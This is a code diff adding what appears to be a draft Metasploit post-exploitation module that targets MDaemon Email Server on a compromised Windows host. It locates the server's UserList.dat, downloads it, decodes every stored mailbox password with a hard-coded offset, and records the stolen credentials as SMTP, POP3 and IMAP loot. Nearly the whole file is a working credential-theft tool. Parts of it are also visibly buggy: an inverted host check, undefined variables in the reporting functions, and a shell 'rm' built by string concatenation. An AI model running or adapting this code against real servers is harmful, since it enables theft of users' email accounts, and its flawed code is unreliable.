1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'rex'
8
+ require 'base64'
9
+
10
+ class MetasploitModule < Msf ::Post
11
+ include Msf ::Post ::Windows ::Registry
12
+ Rank = ExcellentRanking
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking' ,
16
+ 'Description' => %q{
17
+ Finds and cracks the stored passwords of MDaemon Email Server.
18
+ } ,
19
+ 'References' =>
20
+ [
21
+ [ 'BID' , '4686' ]
22
+ ] ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Author' => [ 'Manuel Nader #AgoraSecurity' ] ,
25
+ 'Platform' => [ 'win' ] ,
26
+ 'Arch' => [ 'x64' , 'x86' ] ,
27
+ 'SessionTypes' => [ 'meterpreter' , 'shell' ]
28
+ ) )
29
+
30
+ register_options (
31
+ [ OptString . new ( 'RPATH' , [ false , 'Path of the MDaemon installation' , false ] ) # If software is installed on a rare directory
32
+ ] , self . class )
33
+ end
34
+
35
+ def run
36
+ if session . type != 'meterpreter'
37
+ print_error ( 'Only meterpreter sessions are supported by this post module' )
38
+ return
39
+ end
40
+ progfiles_env = session . sys . config . getenvs ( 'SYSTEMDRIVE' , 'HOMEDRIVE' , 'ProgramFiles' , 'ProgramFiles(x86)' , 'ProgramW6432' )
41
+ locations = [ ]
42
+ progfiles_env . each do |_k , v |
43
+ vprint_status ( "Searching MDaemon installation at #{ v } " )
44
+ if session . fs . dir . entries ( name = v ) . include? 'MDaemon'
45
+ vprint_status ( "Found MDaemon installation at #{ v } " )
46
+ locations << v + '\\MDaemon\\'
47
+ end
48
+ next
49
+ end
50
+
51
+ keys = [
52
+ 'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon' , # 64 bit. Has AppPath
53
+ # "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register
54
+ ]
55
+
56
+ locations = [ 'C:\MDaemon\App' ]
57
+
58
+ if datastore [ 'RHOST' ] . nil?
59
+ locations << datastore [ 'RHOST' ]
60
+ end
61
+
62
+ keys . each do |key |
63
+ begin
64
+ root_key , base_key = session . sys . registry . splitkey ( key )
65
+ value = session . sys . registry . query_value_direct ( root_key , base_key , 'AppPath' )
66
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
67
+ vprint_error ( e . message )
68
+ next
69
+ end
70
+ locations << value . data + '\\'
71
+ end
72
+ locations = locations . uniq
73
+ locations = locations . compact
74
+ userlist = check_mdaemons ( locations )
75
+ get_mdaemon_creds ( userlist ) if userlist
76
+ end
77
+
78
+ def crack_password ( raw_password )
79
+ vprint_status ( "Cracking #{ raw_password } " )
80
+ offset = [ 84 , 104 , 101 , 32 , 115 , 101 , 116 , 117 , 112 , 32 , 112 , 114 , 111 , 99 , 101 ]
81
+ decode = Base64 . decode64 ( raw_password ) . bytes
82
+ crack = decode
83
+ result = ''
84
+ for i in 0 ..( crack . size - 1 )
85
+ if ( crack [ i ] - offset [ i ] ) > 0
86
+ result << ( crack [ i ] - offset [ i ] )
87
+ else
88
+ result << ( ( crack [ i ] - offset [ i ] ) + 128 )
89
+ end
90
+ end
91
+ vprint_status ( "Password #{ result } " )
92
+ return result
93
+ end
94
+
95
+ def check_mdaemons ( locations )
96
+ tmp_filename = ( 0 ...12 ) . map { ( 65 + rand ( 26 ) ) . chr } . join
97
+ begin
98
+ locations . each do |location |
99
+ vprint_status ( "Checking for Userlist in MDaemons directory at: #{ location } " )
100
+ begin
101
+ session . fs . dir . foreach ( "#{ location } " ) do |fdir |
102
+ [ 'userlist.dat' , 'UserList.dat' ] . each do |datfile |
103
+ if fdir == datfile
104
+ filepath = location + '\\' + datfile
105
+ print_good ( "Configuration file found: #{ filepath } " )
106
+ print_good ( "Found MDaemons on #{ sysinfo [ 'Computer' ] } via session ID: #{ session . sid } " )
107
+ vprint_status ( "Downloading UserList.dat file to tmp file: #{ tmp_filename } " )
108
+ session . fs . file . download_file ( tmp_filename , filepath )
109
+ # userdat = session.fs.file.open(filepath).read.to_s.split(/\n/)
110
+ return tmp_filename
111
+ end
112
+ end
113
+ end
114
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
115
+ vprint_error ( e . message )
116
+ end
117
+ end
118
+ rescue ::Exception => e
119
+ print_error ( e . to_s )
120
+ return
121
+ end
122
+
123
+ return nil
124
+ end
125
+
126
+ def parse_userlist ( data )
127
+ # creds = ["['domain','mailbox','full_name','mail_dir','password']"]
128
+ creds = [ ]
129
+ pop3 = [ ]
130
+ imap = [ ]
131
+ users = 0
132
+ passwords = 0
133
+ file = File . open ( data )
134
+ file . each do |line |
135
+ domain = line . slice ( 0 ..44 ) . strip!
136
+ mailbox = line . slice ( 45 ..74 ) . strip!
137
+ full_name = line . slice ( 75 ..104 ) . strip!
138
+ mail_dir = line . slice ( 105 ..194 ) . strip!
139
+ raw_password = line . slice ( 195 ..210 )
140
+ password = crack_password ( raw_password )
141
+ access = line . slice ( 217 )
142
+ users += 1
143
+ passwords += 1
144
+ if access == 'Y' # IMAP & POP3
145
+ pop3 << [ domain , mailbox , full_name , mail_dir , password ]
146
+ imap << [ domain , mailbox , full_name , mail_dir , password ]
147
+ elsif access == 'P' # POP3
148
+ pop3 << [ domain , mailbox , full_name , mail_dir , password ]
149
+ elsif access == 'I' # IMAP
150
+ imap << [ domain , mailbox , full_name , mail_dir , password ]
151
+ end
152
+ # Saves all the passwords
153
+ creds << [ domain , mailbox , full_name , mail_dir , password ]
154
+ end
155
+ vprint_status ( 'Collected the following credentials:' )
156
+ vprint_status ( " Usernames: #{ users } " )
157
+ vprint_status ( " Passwords: #{ passwords } " )
158
+ vprint_status ( "Deleting tmp file: #{ data } " )
159
+ del_cmd = 'rm '
160
+ del_cmd << data
161
+ system ( del_cmd )
162
+ return creds , imap , pop3
163
+ end
164
+
165
+ def report_cred ( creds )
166
+ # Build service information
167
+ service_data = {
168
+ # address: session.session_host, # Gives internal IP
169
+ address : session . tunnel_peer . partition ( ':' ) [ 0 ] , # Gives public IP
170
+ port : 25 ,
171
+ service_name : 'smtp' ,
172
+ protocol : 'tcp' ,
173
+ }
174
+ # Iterate through credentials
175
+ creds . each do |cred |
176
+ # Build credential information
177
+ credential_data = {
178
+ origin_type : :service ,
179
+ session_id : session_db_id ,
180
+ post_reference_name : self . refname ,
181
+ private_type : :password ,
182
+ private_data : cred [ 4 ] ,
183
+ username : cred [ 1 ] ,
184
+ workspace_id : myworkspace_id ,
185
+ module_fullname : self . fullname
186
+ }
187
+ print_status ( "Debug 1: #{ credential_data } " )
188
+ credential_data . merge! ( service_data )
189
+ print_status ( "Debug 2: #{ credential_data } " )
190
+ credential_core = create_credential ( credential_data )
191
+
192
+ # Assemble the options hash for creating the Metasploit::Credential::Login object
193
+ login_data = {
194
+ core : credential_core ,
195
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
196
+ workspace_id : myworkspace_id
197
+ }
198
+
199
+ login_data . merge! ( service_data )
200
+ create_credential_login ( login_data )
201
+
202
+ print_status ( " Extracted: #{ credential_data [ :username ] } :#{ credential_data [ :private_data ] } " )
203
+ end
204
+
205
+ # report the goods!
206
+ loot_path = store_loot ( 'MDaemon.smtp_server.creds' , 'text/csv' , session , creds . to_csv ,
207
+ 'mdaemon_smtp_server_credentials.csv' , 'MDaemon SMTP Users Credentials' )
208
+ print_status ( "SMPT credentials saved in: #{ loot_path } " )
209
+ end
210
+
211
+ def report_pop3 ( pop3 )
212
+ # Build service information
213
+ service_data = {
214
+ # address: session.session_host, # Gives internal IP
215
+ address : session . tunnel_peer . partition ( ':' ) [ 0 ] , # Gives public IP
216
+ port : 110 ,
217
+ service_name : 'pop3' ,
218
+ protocol : 'tcp' ,
219
+ }
220
+ # Iterate through credentials
221
+ pop3 . each do |cred |
222
+ # Build credential information
223
+ credential_data = {
224
+ origin_type : :service ,
225
+ session_id : session_db_id ,
226
+ post_reference_name : self . refname ,
227
+ private_type : :password ,
228
+ private_data : cred [ 4 ] ,
229
+ username : cred [ 1 ] ,
230
+ workspace_id : myworkspace_id ,
231
+ module_fullname : self . fullname
232
+ }
233
+ vprint_status ( "Debug 1: #{ credential_data } " )
234
+ credential_data . merge! ( service_data )
235
+ vprint_status ( "Debug 2: #{ credential_data } " )
236
+ credential_core = create_credential ( credential_data )
237
+
238
+ # Assemble the options hash for creating the Metasploit::Credential::Login object
239
+ login_data = {
240
+ core : credential_core ,
241
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
242
+ workspace_id : myworkspace_id
243
+ }
244
+
245
+ login_data . merge! ( service_data )
246
+ create_credential_login ( login_data )
247
+
248
+ print_status ( " Extracted: #{ credential_data [ :username ] } :#{ credential_data [ :private_data ] } " )
249
+ end
250
+
251
+ # report the goods!
252
+ loot_path = store_loot ( 'MDaemon.pop3_server.creds' , 'text/csv' , session , creds . to_csv ,
253
+ 'mdaemon_pop3_server_credentials.csv' , 'MDaemon POP3 Users Credentials' )
254
+ print_status ( "POP3 credentials saved in: #{ loot_path } " )
255
+ end
256
+
257
+ def report_imap ( imap )
258
+ # Build service information
259
+ service_data = {
260
+ # address: session.session_host, # Gives internal IP
261
+ address : session . tunnel_peer . partition ( ':' ) [ 0 ] , # Gives public IP
262
+ port : 143 ,
263
+ service_name : 'imap' ,
264
+ protocol : 'tcp' ,
265
+ }
266
+ # Iterate through credentials
267
+ imap . each do |cred |
268
+ # Build credential information
269
+ credential_data = {
270
+ origin_type : :service ,
271
+ session_id : session_db_id ,
272
+ post_reference_name : self . refname ,
273
+ private_type : :password ,
274
+ private_data : cred [ 4 ] ,
275
+ username : cred [ 1 ] ,
276
+ workspace_id : myworkspace_id ,
277
+ module_fullname : self . fullname
278
+ }
279
+ vprint_status ( "Debug 1: #{ credential_data } " )
280
+ credential_data . merge! ( service_data )
281
+ vprint_status ( "Debug 2: #{ credential_data } " )
282
+ credential_core = create_credential ( credential_data )
283
+
284
+ # Assemble the options hash for creating the Metasploit::Credential::Login object
285
+ login_data = {
286
+ core : credential_core ,
287
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
288
+ workspace_id : myworkspace_id
289
+ }
290
+
291
+ login_data . merge! ( service_data )
292
+ create_credential_login ( login_data )
293
+
294
+ print_status ( " Extracted: #{ credential_data [ :username ] } :#{ credential_data [ :private_data ] } " )
295
+ end
296
+
297
+ # report the goods!
298
+ loot_path = store_loot ( 'MDaemon.imap_server.creds' , 'text/csv' , session , creds . to_csv ,
299
+ 'mdaemon_imap_server_credentials.csv' , 'MDaemon SMTP Users Credentials' )
300
+ print_status ( "IMAP credentials saved in: #{ loot_path } " )
301
+ end
302
+
303
+ def get_mdaemon_creds ( userlist )
304
+ credentials = Rex ::Ui ::Text ::Table . new (
305
+ 'Header' => 'MDaemon Email Server Credentials' ,
306
+ 'Indent' => 1 ,
307
+ 'Columns' =>
308
+ [
309
+ 'Domain' ,
310
+ 'Mailbox' ,
311
+ 'Full Name' ,
312
+ 'Mail Dir' ,
313
+ 'Password'
314
+ ] )
315
+ creds , imap , pop3 = parse_userlist ( userlist )
316
+ report_cred ( creds )
317
+ report_pop3 ( pop3 )
318
+ report_imap ( imap )
319
+
320
+ end
321
+ end
0 commit comments